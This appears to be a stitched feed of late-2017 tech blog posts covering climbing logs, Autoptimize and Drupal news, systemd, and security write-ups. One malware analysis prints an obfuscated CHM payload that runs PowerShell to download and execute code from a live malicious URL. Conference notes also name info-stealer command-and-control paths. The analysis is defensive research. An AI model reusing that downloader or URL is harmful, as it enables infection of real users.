Day 1 : Owens river Gorge (Central Gorge)

With Spence and Sierra, bolted routes

Warm Up wall

Great Wall of China - Left

  • Enter the dragon (5.8)
  • China Doll (5.8)

Day 2 : Owens river Gorge (Upper Gorge)

With Spence and Sierra, bolted routes

Upper Elbow Room

  • For Patricia (5.7)
  • Frank (5.9)
  • Stella (5.8) : very fun!

Joshua Tree

Day 1 : IRS wall

With Patricia and Dave

  • Tax Man (5.10a)
  • Bloody Tax Break (5.10b)

Day 2 : Hemingway Buttress

With Patricia and Dave

  • Poodles are people too (5.10b)

December 31, 2017

I just released Autoptimize 2.3.0, the Happy New Year release. As described here earlier it has some significant extra optimizations to help you improve your site’s performance even more for 2018:

  • new: optimize Google fonts with “combine & link” and “combine and load async” (with webload.js), intelligently preconnecting to Google’s domains to limit performance impact even further
  • new: Async JS, can be applied to local or 3rd party JS (if local it will be auto-excluded from autoptimization)
  • new: support to tell browsers to preconnect (= dns lookup + tcp/ip connection + ssl negotiation) to 3rd party domains (depends on browser support, works in Chrome & Firefox)
  • new: remove WordPress’ Core’s emoji CSS & JS
  • new: remove (version parameter from) Querystring
  • new: support to clear cache through WP CLI thanks to junaidbhura
  • lots of bugfixes and small improvements done by some seriously smart people via GitHub (thanks all!!), including a fix for AO 2.2 which saw the HTML minifier go PacMan on spaces in some circumstances.

Enjoy! :;-)

December 30, 2017

I published the following diary on isc.sans.org: “2017, The Flood of CVEs“:

2017 is almost done and it’s my last diary for this year. I made a quick review of my CVE database (I’m using a local cve-search instance). The first interesting number is the amount of CVE’s created this year. Do you remember when the format was CVE-YYYY-XXXX? The CVE ID format changed in 2014 to break the limit of 9999 entries per year. This was indeed a requirement when you see the number of entries for the last five years… [Read more]

[The post [SANS ISC] 2017, The Flood of CVEs has been first published on /dev/random]

December 28, 2017

December 22, 2017

If you own a website, you already know that servers are visited all day long by bots and crawlers with multiple intents, sometimes good but also sometimes bad. An interesting field in web server logs is the “user-agent”. The RFC 2616 describes the User-Agent field used in HTTP requests:

The User-Agent request-header field contains information about the user agent originating the request. This is for statistical purposes, the tracing of protocol violations, and automated recognition of user agents for the sake of tailoring responses to avoid particular user agent limitations. User agents SHOULD include this field with requests. The field can contain multiple product tokens (section 3.8) and comments identifying the agent and any subproducts which form a significant part of the user agent. By convention, the product tokens are listed in order of their significance for identifying the application.

It’s always interesting to keep an eye on the User-Agents found in your logs even if often they are spoofed. It can indeed contain almost anything. Note that many websites trust the User-Agent to display some content in different ways depending on the browser, the operating system. During an old pentest engagement, I also saw an authentication bypass via a specific User-Agent… which is bad! That’s why there exists a tool to stress test a website with multiple variations of User-Agent strings: ua-tester.

Most tools and browsers allow selecting the User-Agent via a configuration file or a plugin (for Browsers). The choice of a User-Agent string may vary depending on how your goal. During a penetration test, you’ll try to work below the radar by using a very common User-Agent (a well-known browser on a modern OS):

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
  Chrome/63.0.3239.84 Safari/537.36

Sometimes, you will change the User-Agent to detect behaviour changes (ex: to access the mobile version of a website).

Mozilla/5.0 (Linux; Android 4.4.4; SAMSUNG SM-G318H Build/KTU84P) AppleWebKit/537.36 \
  (KHTML, like Gecko) SamsungBrowser/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36

Finally, sometimes it’s better to show clean hands!

For my researches and while hunting, I’m fetching a *lot* of data from websites. Sometimes, I’m accessing the same pages again and again. This behaviour can be seen as intrusive by the website owner. In this case, it’s always better to be polite and to present yourself. In my scripts, I’m always using the following User-Agent:

XmeBot/1.0 (https://blog.rootshell.be/bot/)

The URL is hidden on my blog and is available to provide more information about me and my intents (basically, why I’m fetching data). By keeping an eye on the page access statistics, it also helps me to learn who’s keeping an eye on their website logs 😉

[The post Who’s That Bot? has been first published on /dev/random]

December 21, 2017

Acquia.com in December 2017

At Acquia, our mission is to deliver "the universal platform for the greatest digital experiences" and we want to lead by example. This year, Acquia's marketing team has been working hard to redesign Acquia.com. We launched the new Acquia.com last week. The new site is not only intuitive and engaging, but "practices what we preach", so to speak.

Over the course of our first decade, Acquia's website has seen a few iterations:

A compilation of the different Acquia.com designs throughout Acquia's first decade

The new site places a greater emphasis on taking advantage of our own products. We wanted to show (not tell) the power of the Acquia Platform. For example, Acquia Lift delivers visitors personalized content throughout the site. It was also important to take advantage of Acquia's own resources and partner ecosystem. We worked in partnership with digital agency, HUGE, to create the new design and navigation.

An animation of Acquia.com before and after the December 2017 redesign

In the spirit of sharing, the marketing team documented their challenges and insights along the way, and reported on everything from content migration to agile development.

The new site represents a bolder and more innovative Acquia, aligned with the evolution of our product strategy. The launch of our new site is a great way to round out a busy and transformative 2017. I'm also very happy to finally see Acquia.com on Drupal 8! Congratulations to every Acquian who helped make this project a success. Check out it out at https://www.acquia.com!

December 20, 2017

Last night I was working on the album functionality for this website. CSS is not my strong suit, so I wanted to get some help from a CSS linter. A CSS lint tool parses your CSS code and flags signs of inefficiency, stylistic inconsistencies, and patterns that may be erroneous.

I tried Stylelint, an open source CSS linter written in JavaScript that is maintained as an npm package. It was quick and easy to install on my local development environment:

$ npm install -g stylelint stylelint-config-standard stylelint-no-browser-hacks

The -g attribute instructs npm to install the packages globally, the stylelint-config-standard is a standard configuration file (more about that in a second), and the stylelint-no-browser-hacks is an optional Stylelint plugin.

Stylelint has over 150 rules to catch invalid CSS syntax, duplicates, etc. What is interesting about Stylelint is that it is completely unopinionated; all the rules are disabled by default. Configuring all 150+ rules would be very time-consuming. Fortunately you can use the example stylelint-config-standard configuration file as a starting point. This configuration file is maintained as a separate npm package. Instead of having to configure all 150+ rules, you can start with the stylelint-config-standard configuration file and overwrite the standard configuration with your own configuration file. In my case, I created a configuration file called stylelint.js in my Drupal directory.

"use strict"

module.exports = {
  "extends": "stylelint-config-standard",
  "plugins": [
    "stylelint-no-browser-hacks/lib"
  ],
  "rules": {
    "block-closing-brace-newline-after": "always",
    "color-no-invalid-hex": true,
    "indentation": 2,
    "property-no-unknown": true,
    "plugin/no-browser-hacks": [true, {
      "browsers": [
        "last 2 versions",
        "ie >=8"
      ]
    }],
    "max-empty-lines": 1,
    "value-keyword-case": "lower",
    "at-rule-empty-line-before": null,
    "rule-empty-line-before": null,
  },
}

As you can see, the configuration file is a JSON file. I've extended stylelint-config-standard and overwrote the indentation rule to be 2 spaces instead of tabs, for example.

To check your CSS file, you can run Stylelint from the command line:

$ stylelint --config stylelint.js --config-basedir /usr/local/lib/node_modules/ css/album.css

In my case it found a couple of problems that were easy to fix:

Stylelint album css

For fun, I googled "Stylelint Drupal" and found that Alex Pott has proposed adding a Stylelint configuration file to Drupal core. Seems useful to me!

Our keyserver is now accepting submissions for the FOSDEM 2018 keysigning event. The annual PGP keysigning event at FOSDEM is one of the largest of its kind. With more than one hundred participants every year, it is an excellent opportunity to strengthen the web of trust. For instructions on how to participate in this event, see the keysigning page. Key submissions on Wednesday 24 January, to give us some time to generate and distribute the list of participants. Remember to bring a printed copy of this list to FOSDEM.

Who said that all computers are connected today? They are many classified environments where computers can simply never connect to the wild Internet. But sometimes, you need to install some pieces of software from online resources. The classic case is Python modules. Let’s take a practical example with the PyMISP which allows interacting with a MISP instance. Just forget to make a ‘pip install pymisp’ on an air-gapped computer!

The next challenge is to resolve all the dependencies. On an air-gapped host, to make PyMISP work properly, I had to follow this dependency tree (this might change depending on your Python environment):

pymisp -> dateutil -> six
       -> requests -> idna
                   -> urllib3
                   -> chardet
                   -> certify

If you need to download and transfer these packages manually from source and build them, you will probably face another issue: the air-gapped environment does not have all tools to build the package (sounds logical). There is a solution to solve this: “Wheel”. It’s a built, archive format that can greatly speed installation compared to building and installing from source archives. A wheel archive (.whl) can be installed with the pip tool:

C:\Temp> pip install .\requests‑2.18.4‑py2.py3‑none‑any.whl

I found a wonderful source of ready-to-use Wheel archives prepared by Christoph Gohlke from the University of California, Irvine. He maintains a huge library of common Python packages (2 & 3):

If you’re working in a restricted environment, you probably don’t have admin rights. Add the ‘–user’ argument to the pip commands to install the Python module in your $USER environment.

Keep in mind:

  • Some packages might contain executable code. Don’t break your local policy!
  • Always download material from trusted sources
  • Validate hashes
  • Build your own Wheel archives if in doubt and create your own repository

[The post Installing Python Modules on Air-Gapped Hosts has been first published on /dev/random]

December 19, 2017

More a file format is used in a malware infection chain, more files of this type will be flagged as suspicious, analyzed or blocked by security controls. That’s why attackers are constantly looking for new ways to infect computers and use more exotic file formats. Like fashion is in a state of perpetual renewal, some files are regularly coming back on the malware scene. Today, I found a malicious .chm file. A .chm file is a compiled HTML help file that may include text, images, and hyperlinks. It can be viewed in a Web browser; in programs as an online help solution or by Windows via a specific tool: hh.exe.

As most Microsoft file formats, it may also link to external resources that can be launched from the HTML file. By external resources, I mean here malicious scripts or executables. The file reached my spam trap and was delivered in a ZIP archive: NF_e_DANFE41160909448706.zip (SHA256: f66964e733651d78593d593e2bd83913b6499fa80532abce64e07a91293eb12d). The .chm file was called NF-e_DANFE41160909448706kPEvjg.chm (SHA256: 867d0bb716acdb40ae403fc734351c5f195cb98b6f032ec77ef72160e6435d1f). When the file is opened, the default tool, hh.exe, is used and displays a blank page. A command line prompt is launched with a Powershell script:

Malware Behaviour

It is easy to understand what is happening but is there a way to better analyze the content of the compiled HTML help file? hh.exe has a flag ‘-decompile’ which, as the name says, decompile the .chm file into a folder:

C:\Users\xavier\Desktop> hh.exe -decompile malicious NF-e_DANFE41160909448706kPEvjg.chm

In the malicious directory, we find now the name of the original file. Here is the content:

<OBJECT id="XJUY7K" type="application/x-oleobject" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" codebase="hhctrl.ocx#Version=5,02,3790,1194" width="1" height="1">
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe, /C &quot;cd %SystemRoot%\System32&&cm^d^.exe /V ^/^C^ se^t^ r^i^=ers^&^&set ^ji=^^h^^e^^l^^l^&^&^s^e^t^ ju^=^^p^^o^^w^&^&^set ^rp^=^^W^^in^^d^^ows!^ju!^!^ri^!^!ji!\^^v^^1^^.^^0^^\^!j^u^!^!^ri!^!^ji!^&^&^echo^ ^^IE^^x^^(^^^&quot;`I^^E^^`X(n^^`eW-^^O^^BJ^^E`C^^t^^ n^^ET^^.^^wE^^b^^`c^^`l^^i`e^^N^^t^^`)^^.^^d^^Ow^^Nlo^^a^^Ds^^tr^^i^^n^^g('ht^^tp^^s^^://jaz^^y^^.oth^^iak.c^^o^^m^^/?^^d^^mF^^us^^AKL^^Yq^^Q^^C8^^5^^t^^B^^e^^8^^pKTM^^CS^^g^^p^^ReW^^TJa+r^^ClY^^m^^w^^f^^Mn^^f^^s^^CI^^L^^X^^a^^3Fj^^3^^g^^g^^V^^R^^j^^s^^iR^^OS^^s^^OS^^O^^qj^^r^^jb^^OWu^^rLN^^T^^v^^I^^G^^AaAoVw3kD8^^2/^^W^^rI^^PAb3^^QU^^9BsS^^5^^2V^^p^^6')^^^&quot;^^); ^|^ !^rp^!^ -nop^^ ^^-win 1 -&quot;">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
XJUY7K.Click();
</SCRIPT>
</HEAD>
<body>
</BODY>
</HTML>

The second stage is downloaded from hXXps://jazy.othiak[.]com/?dmFusAKLYqQC85tBe8pKTMCSgpReWTJa+rClYmwfMnfsCILXa3Fj3ggVRjsiROSsOSOqjrjbOWurLNTvIGAaAoVw3kD82/WrIPAb3QU9BsS52Vp6

Nothing fancy, not really new but still effective…

 

[The post Malware Delivered via a Compiled HTML Help File has been first published on /dev/random]

I published the following diary on isc.sans.org: “Example of ‘MouseOver’ Link in a Powerpoint File“:

I really like Microsoft Office documents… They offer so many features that can be (ab)used to make them virtual bombs. Yesterday, I found a simple one but nicely prepared Powerpoint presentation: Payment_copy.ppsx (SHA256:7d6f3eb45c03a8c2fca4685e9f2d4e05c5fc564c3c81926a5305b6fa6808ac3f). It was still unknown on VT yesterday but it reached now a score of 1/61!. It was delivered to one of my catch-all mailboxes and contained just one slide…. [Read more]

 

[The post [SANS ISC] Example of ‘MouseOver’ Link in a Powerpoint File has been first published on /dev/random]

December 17, 2017

With the last release almost 6 months in the past, it’s high time for a new Autoptimize release. And what a release that will be my friends!

Here are the most important features/ improvements (most new options are on a separate tab, “Extra” to keep things organized as seen in the screenshot);

  • Google fonts; remove (not new), but also “combine & link” and “combine and load async” (with webload.js), intelligently preconnecting to Google’s domains to limit performance impact even further
  • Async JS, can be applied to local or 3rd party JS (if local it will be auto-excluded from autoptimization)
  • support to tell browsers to preconnect (= dns lookup + tcp/ip connection + ssl negotiation) to 3rd party domains (depends on browser support, works in Chrome & Firefox)
  • remove WordPress’ Core’s emoji CSS & JS
  • remove (version parameter from) Querystring
  • support to clear cache through WP CLI
  • a significant amount of bugfixes done by some seriously smart people via GitHub (thanks all!!), including a fix for the main bug in AO 2.2.x which saw the HTML minifier go PacMan on spaces in some circumstances

If you want to test AO 2.3, you can download the zipfile from GitHub here. I would love your feedback!

Happy end-of-year to all, who knows we can wrap up AO 2.3 nicely, ribbon and all, for New Years? :-)

December 16, 2017

I published the following diary on isc.sans.org: “Microsoft Office VBA Macro Obfuscation via Metadata“:

Often, malicious macros make use of the same functions to infect the victim’s computer. If a macro contains these strings, it can be flagged as malicious or, at least, considered as suspicious. Some examples of suspicious functions are:

  • Microsoft.XMLHTTP (used to fetch web data)
  • WScript.Shell (used to execute other scripts or commands)

… [Read more]

 

[The post [SANS ISC] Microsoft Office VBA Macro Obfuscation via Metadata has been first published on /dev/random]

December 15, 2017

Comme tous les enfants, mes enfants adorent recevoir des bonbons. Et les occasions ne manquent pas en fin d’année : Halloween, Saint-Nicolas, Noël, …  Le tout à multiplier par le nombre de parents, grand-parents, école, clubs, etc. C’est bien simple : il devient parfois difficile de justifier que Saint-Nicolas se déplace aussi vite d’un endroit à un autre. Et d’expliquer pourquoi il semble tellement tenir à engraisser une génération de futurs diabétiques…

Mais la particularité de mes enfants est que, s’ils adorent recevoir, ils consomment finalement très peu de sucreries. Nous les sensibilisons à la surconsommation et aux méfaits de la publicité depuis peut-être un peu trop jeune.

Les bonbons s’entassent donc dans un véritable tiroir au trésor qui déborderait à longueur d’année si PapaPloum n’allait pas de temps en temps assouvir son addiction au sucre.

Pour Saint-Nicolas cette année, j’ai franchi une étape de plus : au lieu d’aller acheter des chocolats, j’ai tout simplement été puisé dans le susdit tiroir et j’ai mis dans les souliers des friandises qu’ils avaient déjà reçues.

Ils ne se sont aperçu de rien et ont été enchantés.

Mais, malgré tout, ma conscience me tiraille…

Ai-je été le meilleur et le plus écolo PapaPloum-Nicolas ? Ou le pire radin qui aie jamais enfanté ?

Photo par Jessica S.

Vous avez aimé votre lecture ? Soutenez l’auteur sur Tipeee, Patreon, Paypal ou Liberapay. Même un don symbolique fait toute la différence ! Retrouvons-nous ensuite sur Facebook, Medium, Twitter ou Mastodon.

Ce texte est publié sous la licence CC-By BE.

December 13, 2017

Acquia gift drive

Yesterday in Acquia's Boston headquarters, there were hundreds of presents covering the lobby. These gifts were donated by over 130 Acquians on behalf of the Department of Children and Family Services' Wonderfund. For years, Acquia has participated in this holiday gift drive to support children that otherwise wouldn't receive presents this season. This December, we were able to collect gifts for 200 children throughout Massachusetts.

One of Acquia's founding values is to "Give back more". Inspired by our Open Source roots, contributing back to our communities is ingrained into the way we work. Acquia's annual gift drive is one of the most meaningful examples of giving back. It's incredibly heartwarming to see the effort and passion that goes into making the gift drive possible. Year after year, Acquia's gift drive remains one of my favorite office moments. It makes me incredibly proud to be an Acquian. Happy Holidays!

Acquia gift drive

I published the following diary on isc.sans.org: “Tracking Newly Registered Domains“:

Here is the next step in my series of diaries related to domain names. After tracking suspicious domains with a dashboard and proactively searching for malicious domains, let’s focus on newly registered domains. They are a huge number of domain registrations performed every day (on average a few thousand per day all TLD’s combined). Why focus on new domains? With the multiple DGA (“Domain Generation Algorithms”) used by malware families, it is useful to track newly created domains and correlate them with your local resolvers’ logs. You could detect some emerging threats or suspicious activities… [Read more]

[The post [SANS ISC] Tracking Newly Registered Domains has been first published on /dev/random]

December 11, 2017

Fingers on keyboard

We have ambitious goals for Drupal 8, including new core features such as Workspaces (content staging) and Layout Builder (drag-and-drop blocks), completing efforts such as the Migration path and Media in core, automated upgrades, and adoption of a JavaScript framework.

I met with several of the coordinators behind these initiatives. Across the board, they identified the need for faster feedback from Core Committers, citing that a lack of Committer time was often a barrier to the initiative's progress.

We have worked hard to scale the Core Committer Team. When Drupal 8 began, it was just catch and myself. Over time, we added additional Core Committers, and the team is now up to 13 members. We also added the concept of Maintainer roles to create more specialization and focus, which has increased our velocity as well.

I recently challenged the Core Committer Team and asked them what it would take to double their efficiency (and improve the velocity of all other core contributors and core initiatives). The answer was often straightforward; more time in the day to focus on reviewing and committing patches.

Most don't have funding for their work as Core Committers. It's something they take on part-time or as volunteers, and it often involves having to make trade-offs regarding paying work or family.

Of the 13 members of the Core Committer Team, three people noted that funding could make a big difference in their ability to contribute to Drupal 8, and could therefore help them empower others:

  • Lauri 'lauriii' Eskola, Front-end Framework Manager — Lauri is deeply involved with both the Out-of-the-Box Experience and the JavaScript Framework initiatives. In his role as front-end framework manager, he also reviews and unblocks patches that touch CSS/JS/HTML, which is key to many of the user-facing features in Drupal 8.5's roadmap.
  • Francesco 'plach' Placella, Framework Manager — Francesco has extensive experience in the Entity API and multilingual initiatives, making him an ideal reviewer for initiatives that touch lots of moving parts such as API-First and Workflow. Francesco was also a regular go-to for the Drupal 8 Accelerate program due to his ability to dig in on almost any problem.
  • Roy 'yoroy' Scholten, Product Manager — Roy has been involved in UX and Design for Drupal since the Drupal 5 days. Roy's insights into usability best practices and support and mentoring for developers is invaluable on the core team. He would love to spend more time doing those things, ideally supported by a multitude of companies each contributing a little, rather than just one.

Funding a Core Committer is one of the most high-impact ways you can contribute to Drupal. If you're interested in funding one or more of these amazing contributors, please contact me and I'll get you in touch with them.

Note that there is also ongoing discussion in Drupal.org's issue queue about how to expose funding opportunities for all contributors on Drupal.org.

The post “du –max-depth” alternative on Mac OSX appeared first on ma.ttias.be.

Ever hard to find obscure places where disk space is wasted on your Mac? If you're accustomed to the Linux terminal, you'll try this:

$ du -h --max-depth=1
du: illegal option -- -
usage: du [-H | -L | -P] [-a | -s | -d depth] [-c] [-h | -k | -m | -g] [-x] [-I mask] [file ...]

... but that doesn't work on Mac.

So here's a Mac alternative:

$ find . -maxdepth 1 -type d -mindepth 1 -exec du -hs {} \;

I try that --max-depth every. single. time.

Update: it's even easier than that

Sure, the find line works, but turns out I've been missing a much easier shortcut here.

$ du -hd1

Lesson learned: blog about it faster! ^^

The post “du –max-depth” alternative on Mac OSX appeared first on ma.ttias.be.

Somebody recently pointed me towards a blog post by a small business owner who proclaimed to the world that using Devuan (and not Debian) is better, because it's cheaper.

Hrm.

Looking at creating Devuan, which means splitting of Debian, economically, you caused approximately infinite cost.

Well, no. I'm immensely grateful to the Devuan developers, because when they announced their fork, all the complaints about systemd on the debian-devel mailinglist ceased to exist. Rather than a cost, that was an immensely gratifying experience, and it made sure that I started reading the debian-devel mailinglist again, which I had stopped for a while before that. Meanwhile, life in Debian went on as it always has.

Debian values choice. Fedora may not be about choice, but Debian is. If there are two ways of doing something, Debian will include all four. If you want to run a Linux system, and you're not sure whether to use systemd, upstart, or something else, then Debian is for you! (well, except if you want to use upstart, which is in jessie but not in stretch). Debian defaults to using systemd, but it doesn't enforce it; and while it may require a bit of manual handholding to make sure that systemd never ever ever ends up on your system, this is essentially not difficult.

you@your-machine:~$ apt install equivs; equivs-control your-sanity; $EDITOR your-sanity

Now make sure that what you get looks something like this (ignoring comments):

Section: misc
Priority: standard
Standards-Version: <whatever was there>

Package: your-sanity
Essential: yes
Conflicts: systemd-sysv
Description: Make sure this system does not install what I don't want
 The packages in the Conflicts: header cannot be installed without
 very difficult steps, and apt will never offer to install them.

Install it on every system where you don't want to run systemd. You're done, you'll never run systemd. Well, except if someone types the literal phrase "Yes, do as I say!", including punctuation and everything, when asked to do so. If you do that, well, you get to keep both pieces. Also, did you see my pun there? Yes, it's a bit silly, I admit it.

But before you take that step, consider this.

Four years ago, I was an outspoken opponent of systemd. It was a bad idea, I thought. It is not portable. It will cause the death of Debian GNU/kFreeBSD, and a few other things. It is difficult to understand and debug. It comes with a truckload of other things that want to replace the universe. Most of all, their developers had a pretty bad reputation of being, pardon my French, arrogant assholes.

Then, the systemd maintainers filed bug 796633, asking me to provide a systemd unit for nbd-client, since it provided an rcS init script (which is really a very special case), and the compatibility support for that in systemd was complicated and support for it would be removed from the systemd side. Additionally, providing a systemd template unit would make the systemd nbd experience much better, without dropping support for other init systems (those cases can still use the init script). In order to develop that, I needed a system to test things on. Since I usually test things on my laptop, I installed systemd on my laptop. The intent was to remove it afterwards. However, for various reasons, that never happened, and I still run systemd as my pid1. Here's why:

  • Systemd is much faster. Where my laptop previously took 30 to 45 seconds to boot using sysvinit, it takes less than five. In fact, it took longer for it to do the POST than it took for the system to boot from the time the kernel was loaded. I changed the grub timeout from the default of five seconds to something more reasonable, because I found that five seconds was just ridiculously long if it takes about half that for the rest of the system to boot to a login prompt afterwards.
  • Systemd is much more reliable. That is, it will fail more often, but it will reliably fail. When it fails, it will tell you why it failed, so you can figure out what went wrong and fix it, making sure the system never fails again in the same fashion. The unfortunate fact of the matter is that there were many bugs in our init scripts, but they were never discovered and therefore lingered. For instance, you would not know about this race condition between two init scripts, because sysvinit is so dog slow that 99 times out of 100 it would not trigger, and therefore you don't see it. The one time you do see it, something didn't come up, but sysvinit doesn't log about such errors (it expects the init script to do so), so all you can do is go "damn, wtf happened?!?" and manually start things, allowing the bug to remain. These race conditions were much more likely to trigger with systemd, which caused it a lot of grief originally; but really, you should be thankful, because now that all these race conditions have been discovered by way of an init system that is much more verbose about such problems, they have also been fixed, and your sysvinit system is more reliable, too, as a result. There are other similar issues (dependency loops, to name one) that systemd helped fix.
  • Systemd is different, and that requires some re-schooling. When I first moved my laptop to systemd, I remember running into some kind of issue that I couldn't figure out how to fix. No, I don't remember the specifics of that issue, but they don't really matter. The point is this: at first, I thought "this is horrible, you can't debug it, how can you use such a system". And while it's true that undebuggable systems are not very useful, the systemd maintainers know this too, and therefore systemd is debuggable. It's just that you don't debug it by throwing some imperative init script code through a debugger (or, worse, something like sh -x), because there is no imperative init script code to throw through such a debugger, and therefore that makes little sense. Instead, there is a wealth of different tools to inspect the systemd state, and a lot of documentation on what the different things mean. It takes a while to internalize all that; and if you're not convinced that systemd is a good thing then it may mean some cursing while you're fighting your way through. But in the end, systemd is not more difficult to debug than simple init scripts -- in fact, it sometimes may be easier, because the system is easier to reason about.
  • While systemd comes with a truckload of extra daemons (systemd-networkd, systemd-resolved, systemd-hostnamed, etc etc etc), the systemd in their name do not imply that they are required by systemd. In fact, it's the other way around: you are required to run systemd if you want to run systemd-networkd (etc), because systemd-networkd (etc) make extensive use of the systemd infrastructure and public APIs; but nothing inside systemd requires that systemd-networkd (etc) are running. In fact, on my personal laptop, beyond systemd and udev themselves, I'm not using anything that gets built from the systemd source.

I'm not saying these reasons are universally true, and I'm not saying that you'll like systemd as much as I have. I am saying, however, that you should give it an honest attempt before you say "I'm not going to run systemd, ever," because you might be surprised by the huge gap of difference between what you expected and what you got. I know I was.

So, given all that, do I think that Devuan is a good idea? It is if you want flamewars. It gives those people who want vilify systemd a place to do that without bothering Debian with their opinion. But beyond that, if you want to run Debian and you don't want to run systemd, you can! Just make sure you choose the right options, and you're done.

All that makes me wonder why today, almost half a year after the initial release of Debian 9.0 "Stretch", Devuan Ascii still hasn't released, and why it took them over two years to release their Devuan Jessie based on Debian Jessie. But maybe that's just me.

December 08, 2017

This blog has been quiet for the last year and a half, because I don’t like to announce things until I feel comfortable recommending them. Until today!

Since July 2016, API-First Drupal became my primary focus, because Dries felt this was one of the most important areas for Drupal’s future. Together with the community, I triaged the issue queue, and helped determine the most important bugs to fix and improvements to add. That’s how we ended up with REST: top priorities for Drupal … plan issues for each Drupal 8 minor:

If you want to see what’s going on, start following that last issue. Whenever there’s news, I post a new comment there.

But enough background. This blog post is not an update on the entire API-First Initiative, it’s about a particular milestone.

100% integration test coverage!

The biggest problem we encountered while working on rest.module, serialization.module and hal.module was unknown BC breaks 1. Because in case of a REST API, the HTTP response is the API. What is a bug fix for person X is a BC break for person Y. The existing test coverage was rather thin, and was often only testing “the happy path”: the simplest possible case. That’s why we would often accidentally introduce BC breaks.

Hence the clear need for really thorough functional (integration) test coverage2, which was completed almost exactly a year ago. We added EntityResourceTestBase, which tests dozens of scenarios3 in a generic way4, and used that to test the 9 entity types, that already had some REST test coverage, more thoroughly than before.

But we had to bring this to all entity types in Drupal core … and covering all 41 entity types in Drupal core was completed exactly a week ago!

The test coverage revealed bugs for almost every entity type. (Most of them are fixed by now.)

Tip: Subclass that base test class for your custom entity types, and easily get full REST test coverage — 41 examples available!

Guaranteed to remain at 100%

We added EntityResourceRestTestCoverageTest, which verifies that we have test coverage for all permutations of:

  • entity type
  • format: json + xml + hal_json
  • authentication: cookie + basic_auth + anon

It is now impossible to add new entity types without also adding solid REST test coverage!

If you forget that test coverage, you’ll find an ASCII-art llama talking to you:

That is why we can finally say that Drupal is really API-First!

This of course doesn’t help only core’s REST module, it also helps the contributed JSON API and GraphQL modules: they’ll encounter far fewer bugs!

Thanks

So many people have helped! In random order: rogierbom, alexpott, harings_rob, himanshu-dixit, webflo, tedbow, xjm, yoroy, timmillwood, gaurav.kapoor, Gábor Hojtsy, brentschuddinck, Sam152, seanB, Berdir, larowlan, Yogesh Pawar, jibran, catch, sumanthkumarc, amateescu, andypost, dawehner, naveenvalecha, tstoeckler — thank you all!5

Special thanks to three people I omitted above, because they’re not well known in the Drupal community, and totally deserve the spotlight here, for their impressive contribution to making this happen:

That’s thirty contributors without whom this would not have happened!

And of course thanks to my employer, Acquia, for allowing me to work on this full-time!

Next

What is going to be the next big milestone we hit? That’s impossible to say, because it depends on the chains of blocking issues that we encounter. It could be support for modifying and creating config entities, it could be support for translations, it could be that all major serialization gaps are fixed, it could be file uploads, or it could be ensuring all normalizers work in both rest.module & jsonapi.module

The future will tell, follow along!


  1. Backwards Compatibility. ↩︎

  2. Nowhere near 100% test coverage, definitely not every possible edge case is tested, and that is fine↩︎

  3. Including helpful error responses when unauthenticated, unauthorized or just a bad request. This vastly improves DX: no need to be a Drupal expert to talk to a REST API powered by Drupal! ↩︎

  4. It is designed to be subclassed for an entity type, and then there are subclasses of that for every format + authentication combination. ↩︎

  5. And this is just from all the per-entity type test issues, I didn’t look at the blockers and blockers of blockers. ↩︎

And this is already the end of Botconf. Time for my last wrap-up. The day started a little bit later to allow some people to recover from the social event. It started at 09:40 with a talk presented by Anthony Kasza, from PaloAlto Networks: “Formatting for Justice: Crime Doesn’t Pay, Neither Does Rich Text“. Everybody knows the RTF format… even more since the famous CVE-2017-0199. But what’s inside an RTF document? As the name says, it is used to format text. It was created by Microsoft in 1987. It has similarities with HTML:

RTF vs HTML

Entities are represented with ‘{‘ and ‘}’. Example:

{\iThis is some italic text}

There are control words like “\rtf”, “\info”, “\author”, “\company”, “\i”, “\AK”, …. It is easy to obfuscate such document with extra whitespaces, headers or with nested elements:

{\rtf [\info]] == {\rtf {{{\i,nfo}}}}

This means that writing signature is complex. Also, just rename the document with a .doc extension and it will be opened by Word. How to generate RTF documents? They are the official “tools” like Microsoft or Wordpad but they are, of course, plenty of malicious tools:

  • 2017-0199 builder
  • wingd/stone/ooo
  • Sofacy, Monsoon, MWI
  • Ancalog, AK builder

What about analysis tools? Here also, it is easy to build a toolbox with nice tools: rtfdump, rtfobj, pyRTF, YARA are some of them. To write good signatures, Anthony suggested focussing on suspicious words:

  •  \info
  • \object
  • DDEAUTO
  • \pict
  • \insrsid or \rsidtbl

DDEAUTO is a good candidate for a while and is seen as the “most annoying bug of the year” for its inclusion in everything (RTF & other documents, e-mail, calendar entries…). Anthony finished his talk by providing a challenge based on an RTF file.

The next talk was presented byPaul Jung: “PWS, Common, Ugly but Effective“. PWS also know as “info stealer” are a very common piece of malware. They steal credentials from many sources (browsers, files, registries, wallets, etc).
PWS

They also offer “bonus” features like screenshot grabbers or keylogger. How to find them? Buy them, find a cracked one or open sources. Some of them have also promotional videos on Youtube! A PWS is based on a builder that generates a specific binary based on the config file, it is delivered via protocols like email, HTTP and data are managed via a control panel. Paul reviewed some well-known PWS like JPro Crack Stealer, Pony (the most famous), Predator Pain or Agent Tesla. The last one promotes itself as “not being a malware”. Some of them support more than 130 different applications to steal passwords from. Some do not reinvent the wheel and just use external tools (ex: the Nirsoft suite). If it is difficult to detect them before the infection, it’s quite easy to spot them based on the noise they generate in log files. They use specific queries:

  • “POST /fre.php” for Lokibot
  • “POST /gate.php” for Pony or Zeus

Very nice presentation!

After the first coffee refill break, Paul Rascagnères presented “Nyetya Malware & MeDoc Connection“. The presentation was a recap of the bad story that affected Ukraine a few months ago. It started with a phone call saying “We need help“. They received some info to start the investigation but their telemetry did not return anything juicy (Talos collects a huge amount of data to build their telemetry). Paul explained the case of M.E. Doc, a company providing a Windows application for tax processing. The company servers were compromised and the software was modified. Then, Paul reviewed the Nytia malware. It used WMI, PsExec, EternalBlue, EternalRomance and scanned ranges of IP to infect more computers. It also used a modified version of Mimikatz. Note that Nyetya cleared the infected host logs. This is a good reminder to always push logs on an external system to prevent losing pieces of evidence.

The next talk was about a system to track the Locky ransomware based on its DGA: “Math + GPU + DNS = Cracking Locky Seeds in Real Time without Analyzing Samples“. Yohai Einav Alexey Sarychev explained how they solved the problem to detect as fast as possible new variation of domain names used by the Locky ransomware. The challenges were:

  • To get the DGA  (it’s public now)
